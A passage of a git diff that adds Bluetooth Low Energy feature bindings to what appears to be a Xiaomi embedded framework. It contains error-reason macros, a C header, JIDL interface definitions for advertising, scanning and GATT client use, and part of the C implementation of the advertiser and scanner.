BT_DFXE_GET_VOICE_CALL_VOLUME_FAIL "btGetVoiceCallVolumeFail" +#define BT_DFXE_MEDIA_POLICY_SUBSCRIBE_FAIL "btMediaPolicySubscribeFail" +#define BT_DFXE_SET_HFP_SAMPLERATE_FAIL "btSetHfpSamplerateFail" +#define BT_DFXE_SET_SCO_AVAILABLE_FAIL "btSetScoAvailableFail" +#define BT_DFXE_SET_SCO_UNAVAILABLE_FAIL "btSetScoUnavailableFail" +#define BT_DFXE_SET_ANC_ENABLE_FAIL "btSetAncEnableFail" + +#define BT_DFXE_HID_CONNECT_BUSY "btHidConnectBusy" + +#define BT_DFXE_CLIENT_CONNECT_FAIL "btClientConnectFail" +#define BT_DFXE_ASYNC_CLIENT_CONN_FAIL "btAsyncClientConnectFail" +#define BT_DFXE_FILE_DESCRIPTOR_ERROR "btFileDescriptorError" +#define BT_DFXE_SPP_CONN_FAIL "btSppConnFail" +#define BT_DFXE_CLIENT_MSG_ALLOC_FAIL "btClientMsgAllocFail" +#define BT_DFXE_SERVER_CACHE_ALLOC_FAIL "btServerCacheAllocFail" +#define BT_DFXE_OPEN_HCI_UART_FAIL "btOpenHciUartFail" +#define BT_DFXE_LE_ENABLE_FAIL "btLeEnableFail" +#define BT_DFXE_BR_ENABLE_FAIL "btBrEnableFail" + +#endif /* _BT_DFX_REASON_H_ */ \ No newline at end of file diff --git a/feature/feature_async/include/feature_bluetooth.h b/feature/feature_async/include/feature_bluetooth.h new file mode 100644 index 0000000000000000000000000000000000000000..b1902356ca05688c5183d42da5b0dadd6d5f1ca0 --- /dev/null +++ b/feature/feature_async/include/feature_bluetooth.h @@ -0,0 +1,137 @@ +/* + * Copyright (C) 2025 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _FEATURE_BLUETOOTH_H_ +#define _FEATURE_BLUETOOTH_H_ +#include "bluetooth.h" +#include "bt_device.h" +#include "bt_list.h" +#include "bt_message_gattc.h" +#include "feature_exports.h" + +#define FEATURE_MANAGER_BLUETOOTH_DATA "bluetooth" + +#define FEATURE_BT_NO_RESOURCES 10013 +#define FEATURE_BT_IPC_ERROR 10012 +#define FEATURE_BT_UNKNOWN_ERROR 10008 +#define FEATURE_BT_NOT_ENABLED 10001 +#define FEATURE_BT_NOT_FOUND 10014 + +typedef enum { + STATE_NON_SCAN = 0, + STATE_SCANING = 1, +} ScanState; + +typedef struct { + FtCallbackId feature_callback_id; + void* feature; + void* data; +} callback_info_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + + // There will be additional events related to subscribing to features in the future. +} feature_bluetooth_ins_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + + // There will be additional events related to subscribing to features in the future. +} feature_bluetooth_ble_ins_t; + +typedef struct { + FtPromiseId pid; + union { + FeatureInstanceHandle feature_ins; + FeatureInterfaceHandle interface; + }; +} feature_data_t; + +typedef struct { + bt_instance_t* ins; + FeatureInterfaceHandle interface; + void* adv; + void* start_userdata; + bool busy; +} feature_bluetooth_adv_info_t; + +typedef struct { + FtInt id; + FtCallbackId callback; + FtCallbackId fail; +} scan_subscribe_info_t; + +typedef struct { + bt_instance_t* ins; + FeatureInterfaceHandle interface; + void* scan; + void* start_userdata; + bool busy; + bt_list_t* subscribe_info; + FtInt subscribe_id; +} feature_bluetooth_scan_info_t; + +typedef struct { + gattc_handle_t handle; + bt_address_t remote_address; + ble_addr_type_t addr_type; + connection_state_t conn_state; + uint16_t gatt_mtu; +} gattc_t; + +typedef enum { + FEATURE_GATTC_CONN, + FEATURE_GATTC_DISCONN, + FEATURE_GATTC_DISCOVERY, + FEATURE_GATTC_READ_CHAR, + FEATURE_GATTC_READ_DESC, + FEATURE_GATTC_WRITE_CHAR, + FEATURE_GATTC_WRITE_DESC, + FEATURE_GATTC_SET_MTU, + FEATURE_GATTC_SET_NOTIFY, +} gattc_userdata_type_t; + +typedef struct { + FtPromiseId pid; + gattc_userdata_type_t userdata_type; + FeatureInterfaceHandle interface; +} gattc_data_t; + +typedef struct { + bool created; + bt_instance_t* ins; + FeatureInterfaceHandle interface; + gattc_t* gattc; + bt_list_t* userdata_list; +} feature_bluetooth_gattc_info_t; + +typedef struct { + bt_list_t* feature_ble_adv; + bt_list_t* feature_ble_scan; + bt_list_t* feature_ble_gattc; +} feature_bluetooth_features_info_t; + +char* StringToFtString(const char* str); +bool js_event_cb_added(); +void feature_bluetooth_post_task(FeatureInstanceHandle handle, FtCallbackId callback_id, void* data); +FeatureErrorCode bt_status_to_feature_error(uint8_t status); +void feature_bluetooth_init_bt_ins_async(FeatureProtoHandle handle); +void feature_bluetooth_uninit_bt_ins_async(void* data); +bt_instance_t* feature_bluetooth_get_bt_ins(FeatureInstanceHandle feature); +void feature_ble_list_free(void* data); +#endif // _FEATURE_BLUETOOTH_H_ \ No newline at end of file diff --git a/feature/feature_async/jidl/bluetooth.jidl b/feature/feature_async/jidl/bluetooth.jidl new file mode 100644 index 0000000000000000000000000000000000000000..20bff009c4d1bd9ea7c36d0d63d85c0caede8016 --- /dev/null +++ b/feature/feature_async/jidl/bluetooth.jidl @@ -0,0 +1,3 @@ +module system.bluetooth@2.0 + +promise<object> getAddressAsync() \ No newline at end of file diff --git a/feature/feature_async/jidl/bluetooth_ble.jidl b/feature/feature_async/jidl/bluetooth_ble.jidl new file mode 100644 index 0000000000000000000000000000000000000000..3fcf3fdd44817a69dd0412833ef1ca6c95621d8b --- /dev/null +++ b/feature/feature_async/jidl/bluetooth_ble.jidl @@ -0,0 +1,169 @@ +module system.bluetooth.ble@2.0 + +struct AdvertiseSetting { + int interval + int txPower + boolean connectable +} + +struct ManufactureData { + string manufactureId + object manufactureValue +} + +struct ServiceData { + string serviceUuid + object serviceValue +} + +struct AdvertiseData { + string[] serviceUuids + ManufactureData[] manufactureData + ServiceData[] serviceData +} + +struct StartAdvertisingParams { + AdvertiseSetting setting + AdvertiseData advData + AdvertiseData advResponse = null +} + +interface Advertiser { + promise<void> startAdvertising(StartAdvertisingParams params) + void stopAdvertising() + void close() +} +[ctor="true", target="adv"] Advertiser createAdvertiser() + +struct ScanFilter { + string deviceId + string name + string serviceUuid +} + +const ScanDuty = { + SCAN_MODE_LOW_POWER = 0, + SCAN_MODE_BALANCED = 1, + SCAN_MODE_LOW_LATENCY = 2 +} + +struct ScanOptions { + int interval + int dutyMode +} + +struct StartScanParams { + ScanFilter[] filters + ScanOptions options = null +} + +const ScanState = { + STATE_NON_SCAN = 0, + STATE_SCANING = 1 +} + +struct ScanResult { + string deviceId + int rssi + object data + string addressType +} + +callback deviceFoundResult(ScanResult[] result) +callback deviceFindFail() +struct DeviceFindParams { + callback deviceFoundResult callback + callback deviceFindFail fail +} + +struct ScanStateParams { + int scanState +} + +interface Scanner { + promise<void> startBLEScan(StartScanParams params) + void stopBLEScan() + promise<ScanStateParams> getScanState() + int subscribeBLEDeviceFind(DeviceFindParams params) + void unsubscribeBLEDeviceFind(int SubscribeId) + void close() +} +[ctor="true", target="scan"] Scanner createScanner() + +struct BLEDescriptor { + string serviceUuid + string characteristicUuid + string descriptorUuid + object descriptorValue +} + +struct GattProperties { + boolean read + boolean write + boolean writeNoResponse + boolean notify + boolean indicate +} + +struct BLECharacteristic { + string serviceUuid + string characteristicUuid + object characteristicValue + BLEDescriptor[] descriptors + GattProperties properties +} + +struct GattService { + string serviceUuid + boolean isPrimary + BLECharacteristic[] characteristics + GattService[] includeServices +} + +struct SetNotifyCharChangedParams { + BLECharacteristic characteristic + boolean enable +} + +const ProfileConnectionState = { + STATE_DISCONNECTED = 0, + STATE_CONNECTING = 1, + STATE_CONNECTED = 2, + STATE_DISCONNECTING = 3 +} + +struct ReadCharacteristicValue { + BLECharacteristic characteristic +} + +struct ReadDescriptorValue { + BLEDescriptor descriptor +} + +struct WriteCharacteristicValue { + BLECharacteristic characteristic +} + +struct WriteDescriptorValue { + BLEDescriptor descriptor +} + +struct SetBLEMtuSize { + int mtu +} + +interface GattClient { + promise<void> connect() + promise<void> disconnect() + promise<GattService[]> getServices() + promise<BLECharacteristic> readCharacteristicValue(ReadCharacteristicValue params) + promise<BLEDescriptor> readDescriptorValue(ReadDescriptorValue params) + promise<void> writeCharacteristicValue(WriteCharacteristicValue params) + promise<void> writeDescriptorValue(WriteDescriptorValue params) + promise<void> setBLEMtuSize(SetBLEMtuSize params) + promise<void> setNotifyCharacteristicChanged(SetNotifyCharChangedParams params) + boolean close() + event onBLECharacteristicChange(BLECharacteristic params) + event onBLEConnectionStateChange(int state) +} +[ctor="true", target="gattc"] GattClient createGattClientDevice(string deviceId, string addressType = "UNKNOWN") diff --git a/feature/feature_async/src/bluetooth_ble_impl.c b/feature/feature_async/src/bluetooth_ble_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..2052fb16bb030c899aba3b652c26306d96d58757 --- /dev/null +++ b/feature/feature_async/src/bluetooth_ble_impl.c @@ -0,0 +1,2562 @@ +/* + * Copyright (C) 2025 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include <ctype.h> + +#include "advertiser_data.h" +#include "bluetooth.h" +#include "bluetooth_ble.h" +#include "bt_adapter.h" +#include "bt_gatt_feature.h" +#include "bt_le_advertiser.h" +#include "bt_le_scan.h" +#include "bt_message_advertiser.h" +#include "bt_message_scan.h" +#include "feature_bluetooth.h" +#include "feature_context.h" +#include "feature_exports.h" +#include "feature_log.h" + +#define file_tag "bluetooth_ble" + +void system_bluetooth_ble_onRegister(const char* feature_name) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_ble_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins_async(handle); + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_ble_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_ble_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_ble_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_ble_onUnregister(const char* feature_name) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +#ifdef CONFIG_BLUETOOTH_BLE_ADV +static bool adv_userdata_cmp(void* node, void* userdata) +{ + return ((feature_bluetooth_adv_info_t*)node)->start_userdata == userdata; +} + +static bool adv_cmp(void* node, void* adv) +{ + return ((feature_bluetooth_adv_info_t*)node)->adv == adv; +} +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +static bool scan_userdata_cmp(void* node, void* userdata) +{ + return ((feature_bluetooth_scan_info_t*)node)->start_userdata == userdata; +} + +static bool scan_cmp(void* node, void* scan) +{ + return ((feature_bluetooth_scan_info_t*)node)->scan == scan; +} + +static bool scan_subscribe_info_cmp(void* node, void* id) +{ + return ((scan_subscribe_info_t*)node)->id == *(FtInt*)id; +} +#endif + +#ifdef CONFIG_BLUETOOTH_GATT +static bool gattc_userdata_cmp(void* node, void* userdata) +{ + return ((gattc_data_t*)node) == userdata; +} + +static bool gattc_cmp(void* node, void* handle) +{ + return ((feature_bluetooth_gattc_info_t*)node)->gattc->handle == handle; +} + +static bool gattc_userdata_type_cmp(void* node, void* type) +{ + return ((gattc_data_t*)node)->userdata_type == (gattc_userdata_type_t)type; +} +#endif + +#define FIND_INFO_BY_USERDATA(ins, data, type, ret) \ + do { \ + feature_bluetooth_features_info_t* features_info; \ + bt_list_t* list; \ + if (!ins || !ins->context) { \ + ret = NULL; \ + break; \ + } \ + features_info = (feature_bluetooth_features_info_t*)(ins->context); \ + list = features_info->feature_ble_##type; \ + if (!list) { \ + ret = NULL; \ + break; \ + } \ + ret = (feature_bluetooth_##type##_info_t*)bt_list_find(list, type##_userdata_cmp, data); \ + } while (0); + +#define FIND_INFO_BY_OBJECT(ins, obj, type, ret) \ + do { \ + feature_bluetooth_features_info_t* features_info; \ + bt_list_t* list; \ + if (!ins || !ins->context) { \ + ret = NULL; \ + break; \ + } \ + features_info = (feature_bluetooth_features_info_t*)(ins->context); \ + list = features_info->feature_ble_##type; \ + if (!list) { \ + ret = NULL; \ + break; \ + } \ + ret = (feature_bluetooth_##type##_info_t*)bt_list_find(list, type##_cmp, obj); \ + } while (0); + +#ifdef CONFIG_BLUETOOTH_GATT +feature_bluetooth_gattc_info_t* find_gattc_info_by_userdata(bt_instance_t* ins, void* data) +{ + feature_bluetooth_features_info_t* features_info; + bt_list_t* list; + bt_list_node_t* node; + + if (!ins || !ins->context) + return NULL; + + features_info = (feature_bluetooth_features_info_t*)(ins->context); + + list = features_info->feature_ble_gattc; + if (!list) + return NULL; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + feature_bluetooth_gattc_info_t* gattc_info = bt_list_node(node); + if (bt_list_find(gattc_info->userdata_list, gattc_userdata_cmp, data)) + return gattc_info; + } + + return NULL; +} + +bt_status_t get_valid_uuid128(uint8_t uuid128[16], const char* in) +{ + int num; + int ret; + if (strlen(in) != 36) + return BT_STATUS_PARM_INVALID; + + if (in[8] != '-' || in[13] != '-' || in[18] != '-' || in[23] != '-') + return BT_STATUS_PARM_INVALID; + + ret = sscanf(in, "%02hhx%02hhx%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx" + "-%02hhx%02hhx-%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx%n", + &uuid128[15], &uuid128[14], &uuid128[13], &uuid128[12], &uuid128[11], &uuid128[10], &uuid128[9], &uuid128[8], + &uuid128[7], &uuid128[6], &uuid128[5], &uuid128[4], &uuid128[3], &uuid128[2], &uuid128[1], &uuid128[0], &num); + + if (ret != 16 || num != 36) + return BT_STATUS_PARM_INVALID; + + return BT_STATUS_SUCCESS; +} + +char* bt_uuid_to_feature_string(const bt_uuid_t* bt_uuid) +{ + char uuid[40] = { 0 }; + bt_uuid_to_string(bt_uuid, uuid, 40); + return StringToFtString(uuid); +} +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_ADV +static void feature_adv_destroy(FeatureInterfaceHandle handle) +{ + feature_bluetooth_adv_info_t* adv_info = (feature_bluetooth_adv_info_t*)FeatureGetObjectData(handle); + if (adv_info == NULL) + return; + + bt_instance_t* bluetooth_instance = adv_info->ins; + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + + if (adv_info->adv) { + FEATURE_LOG_INFO("%s::%s(), stop advertising\n", file_tag, __FUNCTION__); + bt_le_stop_advertising_async(bluetooth_instance, adv_info->adv, NULL, NULL); + } + + if (adv_info->start_userdata) { + free(adv_info->start_userdata); + adv_info->start_userdata = NULL; + } + + bt_list_remove(features_info->feature_ble_adv, adv_info); +} +#endif + +void system_bluetooth_ble_Advertiser_interface_adv_finalize(FeatureInterfaceHandle handle) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + feature_adv_destroy(handle); +#endif +} + +FeatureInterfaceHandle system_bluetooth_ble_wrap_createAdvertiser(FeatureInstanceHandle feature, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + bt_instance_t* bluetooth_instance = feature_bluetooth_get_bt_ins(feature); + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + feature_bluetooth_adv_info_t* adv_info = (feature_bluetooth_adv_info_t*)calloc(1, sizeof(feature_bluetooth_adv_info_t)); + + FeatureInterfaceHandle handle = system_bluetooth_ble_createAdvertiser_instance(feature); + FEATURE_LOG_INFO("%s::%s(), FeatureInstanceHandle: %p, FeatureInterfaceHandle: %p\n", file_tag, __FUNCTION__, feature, handle); + + adv_info->ins = bluetooth_instance; + adv_info->interface = handle; + + bt_list_add_tail(features_info->feature_ble_adv, adv_info); + FeatureSetObjectData(handle, adv_info); + + return handle; +#else + return NULL; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BLE_ADV +static void on_advertising_start_cb(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + feature_data_t* data; + feature_bluetooth_adv_info_t* adv_info; + bt_instance_t* bluetooth_instance; + + bluetooth_instance = ((bt_advertiser_remote_t*)adv)->ins; + FIND_INFO_BY_OBJECT(bluetooth_instance, adv, adv, adv_info); + if (!adv_info) { + FEATURE_LOG_ERROR("%s, adv_info not found", __func__); + return; + } + + data = (feature_data_t*)adv_info->start_userdata; + + FEATURE_LOG_INFO("%s, handle:%p, adv_id:%d, status:%d", __func__, adv, adv_id, status); + + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, adv fail", __func__); + adv_info->adv = NULL; + adv_info->busy = false; + FeaturePromiseReject(adv_info->interface, data->pid, bt_status_to_feature_error(status), "start advertising failed!"); + } else { + FeaturePromiseResolve(adv_info->interface, data->pid); + } + + free(adv_info->start_userdata); + adv_info->start_userdata = NULL; +} + +static void on_advertising_stopped_cb(bt_advertiser_t* adv, uint8_t adv_id) +{ + feature_bluetooth_adv_info_t* adv_info; + bt_instance_t* bluetooth_instance; + + bluetooth_instance = ((bt_advertiser_remote_t*)adv)->ins; + FIND_INFO_BY_OBJECT(bluetooth_instance, adv, adv, adv_info); + if (!adv_info) { + FEATURE_LOG_ERROR("%s, adv_info not found", __func__); + return; + } + + FEATURE_LOG_INFO("%s, handle:%p, adv_id:%d", __func__, adv, adv_id); + + adv_info->adv = NULL; + adv_info->busy = false; +} + +static advertiser_callback_t adv_callback = { + sizeof(adv_callback), + on_advertising_start_cb, + on_advertising_stopped_cb +}; + +bt_status_t get_valid_uuid16(uint16_t* out, const char* in) +{ + static const char uuid_str[] = "0000****-0000-1000-8000-00805f9b34fb"; + char uuid16_str[5]; + char c; + char* e; + + if (!in) + return BT_STATUS_PARM_INVALID; + + if (strlen(in) != strlen(uuid_str)) + return BT_STATUS_PARM_INVALID; + + for (int i = 0; i < strlen(uuid_str); i++) { + c = tolower(in[i]); /**< uppercase to lowercase, remain unchanged otherwise */ + if (c != uuid_str[i] && uuid_str[i] != '*') + return BT_STATUS_PARM_INVALID; + } + + strlcpy(uuid16_str, in + 4, sizeof(uuid16_str)); + *out = (uint16_t)strtoul(uuid16_str, &e, 16); + if (*e != '\0') { /**< unexpected value */ + *out = 0; + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t feature_get_advertiser_data(system_bluetooth_ble_AdvertiseData* data, + advertiser_data_t* adv_data, feature_bluetooth_adv_info_t* adv_info) +{ + bt_uuid_t uuid; + int index = 0; + size_t length; + uint16_t manufacture_id; + uint16_t service_id; + + if (!data) + return BT_STATUS_SUCCESS; + + for (index = 0; data->manufactureData != NULL && index < data->manufactureData->_size; index++) { + system_bluetooth_ble_ManufactureData** manufactureData = (system_bluetooth_ble_ManufactureData**)(data->manufactureData->_element); + if (manufactureData == NULL) + break; + + if (manufactureData[index] == NULL) + break; + + if (get_valid_uuid16(&manufacture_id, manufactureData[index]->manufactureId) != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, Invalid UUID", __func__); + return BT_STATUS_PARM_INVALID; + } + + FtAny manufactureValue = manufactureData[index]->manufactureValue; + ft_context_ref ft_ctx = FeatureGetContext(adv_info->interface); + uint8_t* value = ft_to_buffer(ft_ctx, &length, *manufactureValue); + if (length <= 0 || value == NULL) { + FEATURE_LOG_ERROR("%s, The length and data of manufactureData do not match.", __func__); + return BT_STATUS_PARM_INVALID; + } + + advertiser_data_add_manufacture_data(adv_data, manufacture_id, (uint8_t*)value, (uint8_t)length); + } + + for (index = 0; data->serviceData != NULL && index < data->serviceData->_size; index++) { + system_bluetooth_ble_ServiceData** serviceData = (system_bluetooth_ble_ServiceData**)(data->serviceData->_element); + if (serviceData == NULL) + break; + + if (serviceData[index] == NULL) + break; + + if (get_valid_uuid16(&service_id, serviceData[index]->serviceUuid) != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, Invalid UUID", __func__); + return BT_STATUS_PARM_INVALID; + } + + FtAny serviceValue = serviceData[index]->serviceValue; + ft_context_ref ft_ctx = FeatureGetContext(adv_info->interface); + uint8_t* value = ft_to_buffer(ft_ctx, &length, *serviceValue); + if (length <= 0 || value == NULL) { + FEATURE_LOG_ERROR("%s, The length and data of serviceData do not match.", __func__); + return BT_STATUS_PARM_INVALID; + } + + bt_uuid16_create(&uuid, service_id); + if (!advertiser_data_add_service_data(adv_data, &uuid, (uint8_t*)value, (uint8_t)length)) + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t feature_set_adv_params(system_bluetooth_ble_AdvertiseSetting* setting, ble_adv_params_t* adv_params) +{ + if (setting->txPower < -20 || setting->txPower > 10) { + FEATURE_LOG_ERROR("%s, Invalid txPower parameter.", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (setting->interval < 0x0020 || setting->interval > 0x4000) { + FEATURE_LOG_ERROR("%s, Invalid interval parameter.", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (setting->connectable) + adv_params->adv_type = BT_LE_LEGACY_ADV_IND; + else + adv_params->adv_type = BT_LE_LEGACY_ADV_NONCONN_IND; + + bt_addr_set_empty(&adv_params->peer_addr); + adv_params->peer_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + bt_addr_set_empty(&adv_params->own_addr); + adv_params->own_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + adv_params->tx_power = setting->txPower; + adv_params->interval = setting->interval; + adv_params->duration = 0; + adv_params->channel_map = BT_LE_ADV_CHANNEL_DEFAULT; + adv_params->filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t feature_set_adv_data(system_bluetooth_ble_AdvertiseData* adv_data, advertiser_data_t** adv, + uint8_t** p_adv_data, uint16_t* adv_len, feature_bluetooth_adv_info_t* adv_info) +{ + bt_uuid_t uuid; + uint16_t id; + + if (!adv_data) + return BT_STATUS_FAIL; + + *adv = advertiser_data_new(); + if (!(*adv)) + return BT_STATUS_FAIL; + + advertiser_data_set_flags(*adv, BT_AD_FLAG_DUAL_MODE | BT_AD_FLAG_GENERAL_DISCOVERABLE); /* set adv flags 0x08 */ + + for (int i = 0; adv_data->serviceUuids != NULL && i < adv_data->serviceUuids->_size; i++) { + char** serviceUuid = (char**)(adv_data->serviceUuids->_element); + if (!serviceUuid || !serviceUuid[i]) + goto error; + + if (get_valid_uuid16(&id, serviceUuid[i]) != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, Invalid UUID", __func__); + goto error; + } + + bt_uuid16_create(&uuid, id); + advertiser_data_add_service_uuid(*adv, &uuid); + } + + if (feature_get_advertiser_data(adv_data, *adv, adv_info) != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("get advertiser data failed!"); + goto error; + } + + *p_adv_data = advertiser_data_build(*adv, adv_len); + if (*p_adv_data) + advertiser_data_dump(*p_adv_data, *adv_len, NULL); + + return BT_STATUS_SUCCESS; + +error: + if (*adv) { + advertiser_data_free(*adv); + *adv = NULL; + } + + return BT_STATUS_FAIL; +} + +static bt_status_t feature_set_scan_rsp_data(system_bluetooth_ble_AdvertiseData* scan_rsp_data, advertiser_data_t** scan_rsp, + uint8_t** p_scan_rsp_data, uint16_t* scan_rsp_len, feature_bluetooth_adv_info_t* adv_info) +{ + if (!scan_rsp_data) + return BT_STATUS_SUCCESS; + + *scan_rsp = advertiser_data_new(); + if (!(*scan_rsp)) + return BT_STATUS_FAIL; + + if (feature_get_advertiser_data(scan_rsp_data, *scan_rsp, adv_info) != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("get scan response data failed!"); + goto error; + } + + *p_scan_rsp_data = advertiser_data_build(*scan_rsp, scan_rsp_len); + if (*p_scan_rsp_data) + advertiser_data_dump(*p_scan_rsp_data, *scan_rsp_len, NULL); + + return BT_STATUS_SUCCESS; + +error: + if (*scan_rsp) { + advertiser_data_free(*scan_rsp); + *scan_rsp = NULL; + } + + return BT_STATUS_FAIL; +} + +static void start_adv_cb(bt_instance_t* ins, bt_status_t status, void* adv, void* userdata) +{ + feature_data_t* data = (feature_data_t*)userdata; + feature_bluetooth_adv_info_t* adv_info; + + FIND_INFO_BY_USERDATA(ins, userdata, adv, adv_info); + if (!adv_info) + goto error; + + assert(adv_info->adv == NULL); + + if (adv) { + adv_info->adv = adv; + } else { + adv_info->busy = false; + FeaturePromiseReject(adv_info->interface, data->pid, bt_status_to_feature_error(status), "start advertising failed!"); + } + + return; + +error: + if (adv) + bt_le_stop_advertising_async(ins, adv, NULL, NULL); +} +#endif + +void system_bluetooth_ble_Advertiser_interface_adv_startAdvertising(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_StartAdvertisingParams* params) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + bt_status_t status; + feature_data_t* data = NULL; + feature_bluetooth_adv_info_t* adv_info = NULL; + ble_adv_params_t adv_params = { 0 }; + advertiser_data_t *adv = NULL, *scan_rsp = NULL; + uint8_t *p_adv_data = NULL, *p_scan_rsp_data = NULL; + uint16_t adv_len = 0; + uint16_t scan_rsp_len = 0; + + status = BT_STATUS_FAIL; + adv_info = FeatureGetObjectData(handle); + if (!adv_info) { + FEATURE_LOG_ERROR("%s, advertiser has been closed", __func__); + return; + } + + if (!params || !params->setting) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + if (adv_info->busy) { + FEATURE_LOG_ERROR("%s, Repeated Attempt", __func__); + status = BT_STATUS_DONE; + goto error; + } + + // AdvertiseSetting + if (feature_set_adv_params(params->setting, &adv_params) != BT_STATUS_SUCCESS) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + // AdvertiseData-advData + if (feature_set_adv_data(params->advData, &adv, &p_adv_data, &adv_len, adv_info) != BT_STATUS_SUCCESS) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + // AdvertiseData-scanRspData + if (feature_set_scan_rsp_data(params->advResponse, &scan_rsp, &p_scan_rsp_data, &scan_rsp_len, adv_info) != BT_STATUS_SUCCESS) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + data = (feature_data_t*)malloc(sizeof(feature_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + + adv_info->start_userdata = (void*)data; + + status = bt_le_start_advertising_async(adv_info->ins, &adv_params, + p_adv_data, adv_len, p_scan_rsp_data, scan_rsp_len, &adv_callback, + start_adv_cb, (void*)data); + + if (status != BT_STATUS_SUCCESS) { + goto error; + } + + if (adv) { + advertiser_data_free(adv); + adv = NULL; + } + + if (scan_rsp) { + advertiser_data_free(scan_rsp); + scan_rsp = NULL; + } + + adv_info->busy = true; + return; + +error: + if (data) { + free(data); + adv_info->start_userdata = NULL; + } + + if (adv) + advertiser_data_free(adv); + + if (scan_rsp) + advertiser_data_free(scan_rsp); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "start advertising failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "advertising is not supported."); +#endif +} + +void system_bluetooth_ble_Advertiser_interface_adv_stopAdvertising(FeatureInterfaceHandle handle, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + feature_bluetooth_adv_info_t* adv_info = FeatureGetObjectData(handle); + if (!adv_info) { + FEATURE_LOG_ERROR("%s, advertiser has been closed", __func__); + return; + } + + if (adv_info->adv == NULL) + return; + + bt_le_stop_advertising_async(adv_info->ins, adv_info->adv, NULL, NULL); +#endif +} + +void system_bluetooth_ble_Advertiser_interface_adv_close(FeatureInterfaceHandle handle, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + feature_adv_destroy(handle); + + FeatureSetObjectData(handle, NULL); +#endif +} + +FeatureInterfaceHandle system_bluetooth_ble_wrap_createScanner(FeatureInstanceHandle feature, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + bt_instance_t* bluetooth_instance = feature_bluetooth_get_bt_ins(feature); + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + feature_bluetooth_scan_info_t* scan_info = (feature_bluetooth_scan_info_t*)calloc(1, sizeof(feature_bluetooth_scan_info_t)); + + FeatureInterfaceHandle handle = system_bluetooth_ble_createScanner_instance(feature); + FEATURE_LOG_INFO("%s::%s(), FeatureInstanceHandle: %p, FeatureInterfaceHandle: %p\n", file_tag, __FUNCTION__, feature, handle); + + scan_info->ins = bluetooth_instance; + scan_info->interface = handle; + scan_info->subscribe_info = bt_list_new(feature_ble_list_free); + scan_info->subscribe_id = 1; + + bt_list_add_tail(features_info->feature_ble_scan, scan_info); + 